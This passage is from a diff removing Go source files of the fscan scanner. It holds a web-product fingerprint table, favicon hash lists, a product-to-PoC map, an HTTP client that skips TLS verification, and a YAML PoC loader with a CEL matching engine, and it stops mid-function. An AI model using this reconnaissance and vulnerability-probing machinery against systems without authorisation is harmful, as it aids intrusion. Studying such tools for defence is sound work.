||||
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
|
||||
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
|
||||
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
|
||||
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
|
||||
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
|
||||
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
|
||||
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
|
||||
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
|
||||
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
|
||||
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
|
||||
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
|
||||
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
|
||||
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
|
||||
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
|
||||
{"APACHE-kylin", "code", "(url=kylin)"},
|
||||
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
|
||||
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
|
||||
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
|
||||
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
|
||||
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
|
||||
{"Nagios", "headers", "(nagios admin)"},
|
||||
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
|
||||
{"h5ai", "code", "(powered by h5ai)"},
|
||||
{"jeesite", "cookie", "(jeesite.session.id)"},
|
||||
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
|
||||
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
|
||||
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
|
||||
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
|
||||
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
|
||||
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
|
||||
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
|
||||
{"正方OA", "code", "(zfoausername)"},
|
||||
{"希尔OA", "code", "(/heeroa/login.do)"},
|
||||
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
|
||||
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
|
||||
{"海天OA", "code", "(HTVOS.js)"},
|
||||
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
|
||||
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
|
||||
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
|
||||
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
|
||||
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
|
||||
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
|
||||
{"网神防火墙", "code", "(css/lsec/login.css)"},
|
||||
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
|
||||
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
|
||||
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
|
||||
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
|
||||
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
|
||||
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
|
||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
|
||||
{"weblogic", "headers", "(WebLogic)"},
|
||||
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
|
||||
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
|
||||
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
|
||||
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
|
||||
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
|
||||
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
|
||||
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
|
||||
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
|
||||
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
|
||||
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
|
||||
{"CMS", "code", "(Powered by .*CMS)"},
|
||||
{"目录遍历", "code", "(Directory listing for /)"},
|
||||
{"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"},
|
||||
{"ATLASSIAN-Confluence", "headers", "(X-Confluence)"},
|
||||
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
|
||||
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
|
||||
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
|
||||
{"RabbitMQ", "code", "(RabbitMQ Management)"},
|
||||
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
|
||||
{"Spring env", "code", "(logback)"},
|
||||
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
|
||||
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
|
||||
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
|
||||
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
|
||||
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
|
||||
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
|
||||
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
|
||||
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
|
||||
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
|
||||
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
|
||||
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
|
||||
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
|
||||
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
|
||||
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
|
||||
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
|
||||
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
|
||||
{"通达OA", "ed0044587917c76d08573577c8b72883"},
|
||||
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
|
||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
||||
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
|
||||
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
|
||||
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
|
||||
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
|
||||
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
|
||||
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
|
||||
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
|
||||
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
|
||||
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
|
||||
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
|
||||
}
|
||||
|
||||
var PocDatas = []PocData{
|
||||
{"致远OA", "seeyon"},
|
||||
{"泛微OA", "weaver"},
|
||||
{"通达OA", "tongda"},
|
||||
{"蓝凌OA", "landray"},
|
||||
{"ThinkPHP", "thinkphp"},
|
||||
{"Nexus", "nexus"},
|
||||
{"齐治堡垒机", "qizhi"},
|
||||
{"weaver-ebridge", "weaver-ebridge"},
|
||||
{"weblogic", "weblogic"},
|
||||
{"zabbix", "zabbix"},
|
||||
{"VMware vSphere", "vmware"},
|
||||
{"Jboss", "jboss"},
|
||||
{"用友", "yongyou"},
|
||||
{"用友IUFO", "yongyou"},
|
||||
{"coremail", "coremail"},
|
||||
{"金山", "kingsoft"},
|
||||
}
|
||||
@@ -1,318 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/net/proxy"
|
||||
"gopkg.in/yaml.v2"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 全局HTTP客户端变量
|
||||
var (
|
||||
Client *http.Client // 标准HTTP客户端
|
||||
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
|
||||
dialTimout = 5 * time.Second // 连接超时时间
|
||||
keepAlive = 5 * time.Second // 连接保持时间
|
||||
)
|
||||
|
||||
// Inithttp 初始化HTTP客户端配置
|
||||
func Inithttp() {
|
||||
// 设置默认并发数
|
||||
if Common.PocNum == 0 {
|
||||
Common.PocNum = 20
|
||||
}
|
||||
// 设置默认超时时间
|
||||
if Common.WebTimeout == 0 {
|
||||
Common.WebTimeout = 5
|
||||
}
|
||||
|
||||
// 初始化HTTP客户端
|
||||
err := InitHttpClient(Common.PocNum, Common.HttpProxy, time.Duration(Common.WebTimeout)*time.Second)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// InitHttpClient 创建HTTP客户端
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
||||
|
||||
// 配置基础连接参数
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
// 配置Transport参数
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
MaxConnsPerHost: 5,
|
||||
MaxIdleConns: 0,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
|
||||
// 配置Socks5代理
|
||||
if Common.Socks5Proxy != "" {
|
||||
dialSocksProxy, err := Common.Socks5Dialer(dialer)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
|
||||
tr.DialContext = contextDialer.DialContext
|
||||
} else {
|
||||
return errors.New("无法转换为DialContext类型")
|
||||
}
|
||||
} else if DownProxy != "" {
|
||||
// 处理其他代理配置
|
||||
if DownProxy == "1" {
|
||||
DownProxy = "http://127.0.0.1:8080"
|
||||
} else if DownProxy == "2" {
|
||||
DownProxy = "socks5://127.0.0.1:1080"
|
||||
} else if !strings.Contains(DownProxy, "://") {
|
||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||
}
|
||||
|
||||
// 验证代理类型
|
||||
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
|
||||
return errors.New("不支持的代理类型")
|
||||
}
|
||||
|
||||
// 解析代理URL
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
// 创建标准HTTP客户端
|
||||
Client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
|
||||
// 创建不跟随重定向的HTTP客户端
|
||||
ClientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Poc 定义漏洞检测配置结构
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"` // POC名称
|
||||
Set StrMap `yaml:"set"` // 单值配置映射
|
||||
Sets ListMap `yaml:"sets"` // 列表值配置映射
|
||||
Rules []Rules `yaml:"rules"` // 检测规则列表
|
||||
Groups RuleMap `yaml:"groups"` // 规则组映射
|
||||
Detail Detail `yaml:"detail"` // 漏洞详情
|
||||
}
|
||||
|
||||
// MapSlice 用于解析YAML的通用映射类型
|
||||
type MapSlice = yaml.MapSlice
|
||||
|
||||
// 自定义映射类型
|
||||
type (
|
||||
StrMap []StrItem // 字符串键值对映射
|
||||
ListMap []ListItem // 字符串键列表值映射
|
||||
RuleMap []RuleItem // 字符串键规则列表映射
|
||||
)
|
||||
|
||||
// 映射项结构定义
|
||||
type (
|
||||
// StrItem 字符串键值对
|
||||
StrItem struct {
|
||||
Key string // 键名
|
||||
Value string // 值
|
||||
}
|
||||
|
||||
// ListItem 字符串键列表值对
|
||||
ListItem struct {
|
||||
Key string // 键名
|
||||
Value []string // 值列表
|
||||
}
|
||||
|
||||
// RuleItem 字符串键规则列表对
|
||||
RuleItem struct {
|
||||
Key string // 键名
|
||||
Value []Rules // 规则列表
|
||||
}
|
||||
)
|
||||
|
||||
// UnmarshalYAML 实现StrMap的YAML解析接口
|
||||
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// 临时使用MapSlice存储解析结果
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 转换为StrMap结构
|
||||
for _, one := range tmp {
|
||||
key, value := one.Key.(string), one.Value.(string)
|
||||
*r = append(*r, StrItem{key, value})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// UnmarshalYAML 实现RuleMap的YAML解析接口
|
||||
// 参数:
|
||||
// - unmarshal: YAML解析函数
|
||||
//
|
||||
// 返回:
|
||||
// - error: 解析错误
|
||||
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// 使用MapSlice保持键的顺序
|
||||
var tmp1 yaml.MapSlice
|
||||
if err := unmarshal(&tmp1); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 解析规则内容
|
||||
var tmp = make(map[string][]Rules)
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 按顺序转换为RuleMap结构
|
||||
for _, one := range tmp1 {
|
||||
key := one.Key.(string)
|
||||
value := tmp[key]
|
||||
*r = append(*r, RuleItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// UnmarshalYAML 实现ListMap的YAML解析接口
|
||||
// 参数:
|
||||
// - unmarshal: YAML解析函数
|
||||
//
|
||||
// 返回:
|
||||
// - error: 解析错误
|
||||
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// 解析YAML映射
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 转换为ListMap结构
|
||||
for _, one := range tmp {
|
||||
key := one.Key.(string)
|
||||
var value []string
|
||||
// 将接口类型转换为字符串
|
||||
for _, val := range one.Value.([]interface{}) {
|
||||
v := fmt.Sprintf("%v", val)
|
||||
value = append(value, v)
|
||||
}
|
||||
*r = append(*r, ListItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Rules 定义POC检测规则结构
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"` // HTTP请求方法
|
||||
Path string `yaml:"path"` // 请求路径
|
||||
Headers map[string]string `yaml:"headers"` // 请求头
|
||||
Body string `yaml:"body"` // 请求体
|
||||
Search string `yaml:"search"` // 搜索模式
|
||||
FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
|
||||
Expression string `yaml:"expression"` // 匹配表达式
|
||||
Continue bool `yaml:"continue"` // 是否继续执行
|
||||
}
|
||||
|
||||
// Detail 定义POC详情结构
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"` // POC作者
|
||||
Links []string `yaml:"links"` // 相关链接
|
||||
Description string `yaml:"description"` // POC描述
|
||||
Version string `yaml:"version"` // POC版本
|
||||
}
|
||||
|
||||
// LoadMultiPoc 加载多个POC文件
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
// 遍历选中的POC文件
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := LoadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
} else {
|
||||
fmt.Printf("POC加载失败 %s: %v\n", f, err)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
// LoadPoc 从内嵌文件系统加载单个POC
|
||||
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
// 读取POC文件内容
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
if err != nil {
|
||||
fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 解析YAML内容
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
// SelectPoc 根据名称关键字选择POC文件
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Printf("读取POC目录失败: %v\n", err)
|
||||
}
|
||||
|
||||
var foundFiles []string
|
||||
// 查找匹配关键字的POC文件
|
||||
for _, entry := range entries {
|
||||
if strings.Contains(entry.Name(), pocname) {
|
||||
foundFiles = append(foundFiles, entry.Name())
|
||||
}
|
||||
}
|
||||
return foundFiles
|
||||
}
|
||||
|
||||
// LoadPocbyPath 从文件系统路径加载POC
|
||||
func LoadPocbyPath(fileName string) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
// 读取POC文件内容
|
||||
data, err := os.ReadFile(fileName)
|
||||
if err != nil {
|
||||
fmt.Printf("POC文件读取失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 解析YAML内容
|
||||
err = yaml.Unmarshal(data, p)
|
||||
if err != nil {
|
||||
fmt.Printf("POC解析失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
@@ -1,795 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/google/cel-go/checker/decls"
|
||||
"github.com/google/cel-go/common/types"
|
||||
"github.com/google/cel-go/common/types/ref"
|
||||
"github.com/google/cel-go/interpreter/functions"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// NewEnv 创建一个新的 CEL 环境
|
||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
||||
return cel.NewEnv(cel.Lib(c))
|
||||
}
|
||||
|
||||
// Evaluate 评估 CEL 表达式
|
||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
||||
// 空表达式默认返回 true
|
||||
if expression == "" {
|
||||
return types.Bool(true), nil
|
||||
}
|
||||
|
||||
// 编译表达式
|
||||
ast, issues := env.Compile(expression)
|
||||
if issues.Err() != nil {
|
||||
return nil, fmt.Errorf("表达式编译错误: %w", issues.Err())
|
||||
}
|
||||
|
||||
// 创建程序
|
||||
program, err := env.Program(ast)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("程序创建错误: %w", err)
|
||||
}
|
||||
|
||||
// 执行评估
|
||||
result, _, err := program.Eval(params)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("表达式评估错误: %w", err)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// UrlTypeToString 将 TargetURL 结构体转换为字符串
|
||||
func UrlTypeToString(u *UrlType) string {
|
||||
var builder strings.Builder
|
||||
|
||||
// 处理 scheme 部分
|
||||
if u.Scheme != "" {
|
||||
builder.WriteString(u.Scheme)
|
||||
builder.WriteByte(':')
|
||||
}
|
||||
|
||||
// 处理 host 部分
|
||||
if u.Scheme != "" || u.Host != "" {
|
||||
if u.Host != "" || u.Path != "" {
|
||||
builder.WriteString("//")
|
||||
}
|
||||
if host := u.Host; host != "" {
|
||||
builder.WriteString(host)
|
||||
}
|
||||
}
|
||||
|
||||
// 处理 path 部分
|
||||
path := u.Path
|
||||
if path != "" && path[0] != '/' && u.Host != "" {
|
||||
builder.WriteByte('/')
|
||||
}
|
||||
|
||||
// 处理相对路径
|
||||
if builder.Len() == 0 {
|
||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
||||
builder.WriteString("./")
|
||||
}
|
||||
}
|
||||
builder.WriteString(path)
|
||||
|
||||
// 处理查询参数
|
||||
if u.Query != "" {
|
||||
builder.WriteByte('?')
|
||||
builder.WriteString(u.Query)
|
||||
}
|
||||
|
||||
// 处理片段标识符
|
||||
if u.Fragment != "" {
|
||||
builder.WriteByte('#')
|
||||
builder.WriteString(u.Fragment)
|
||||
}
|
||||
|
||||
return builder.String()
|
||||
}
|
||||
|
||||
type CustomLib struct {
|
||||
envOptions []cel.EnvOption
|
||||
programOptions []cel.ProgramOption
|
||||
}
|
||||
|
||||
func NewEnvOption() CustomLib {
|
||||
c := CustomLib{}
|
||||
|
||||
c.envOptions = []cel.EnvOption{
|
||||
cel.Container("lib"),
|
||||
cel.Types(
|
||||
&UrlType{},
|
||||
&Request{},
|
||||
&Response{},
|
||||
&Reverse{},
|
||||
),
|
||||
cel.Declarations(
|
||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
||||
decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
||||
),
|
||||
cel.Declarations(
|
||||
// functions
|
||||
decls.NewFunction("bcontains",
|
||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("bmatches",
|
||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("md5",
|
||||
decls.NewOverload("md5_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomInt",
|
||||
decls.NewOverload("randomInt_int_int",
|
||||
[]*exprpb.Type{decls.Int, decls.Int},
|
||||
decls.Int)),
|
||||
decls.NewFunction("randomLowercase",
|
||||
decls.NewOverload("randomLowercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomUppercase",
|
||||
decls.NewOverload("randomUppercase_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("randomString",
|
||||
decls.NewOverload("randomString_int",
|
||||
[]*exprpb.Type{decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64",
|
||||
decls.NewOverload("base64_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("base64Decode",
|
||||
decls.NewOverload("base64Decode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urlencode",
|
||||
decls.NewOverload("urlencode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_string",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("urldecode",
|
||||
decls.NewOverload("urldecode_bytes",
|
||||
[]*exprpb.Type{decls.Bytes},
|
||||
decls.String)),
|
||||
decls.NewFunction("substr",
|
||||
decls.NewOverload("substr_string_int_int",
|
||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
||||
decls.String)),
|
||||
decls.NewFunction("wait",
|
||||
decls.NewInstanceOverload("reverse_wait_int",
|
||||
[]*exprpb.Type{decls.Any, decls.Int},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("icontains",
|
||||
decls.NewInstanceOverload("icontains_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("TDdate",
|
||||
decls.NewOverload("tongda_date",
|
||||
[]*exprpb.Type{},
|
||||
decls.String)),
|
||||
decls.NewFunction("shirokey",
|
||||
decls.NewOverload("shiro_key",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.String)),
|
||||
decls.NewFunction("startsWith",
|
||||
decls.NewInstanceOverload("startsWith_bytes",
|
||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("istartsWith",
|
||||
decls.NewInstanceOverload("startsWith_string",
|
||||
[]*exprpb.Type{decls.String, decls.String},
|
||||
decls.Bool)),
|
||||
decls.NewFunction("hexdecode",
|
||||
decls.NewInstanceOverload("hexdecode",
|
||||
[]*exprpb.Type{decls.String},
|
||||
decls.Bytes)),
|
||||
),
|
||||
}
|
||||
c.programOptions = []cel.ProgramOption{
|
||||
cel.Functions(
|
||||
&functions.Overload{
|
||||
Operator: "bytes_bcontains_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
||||
}
|
||||
v2, ok := rhs.(types.Bytes)
|
||||
if !ok {
|
||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
||||
}
|
||||
return types.Bool(bytes.Contains(v1, v2))
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "string_bmatches_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
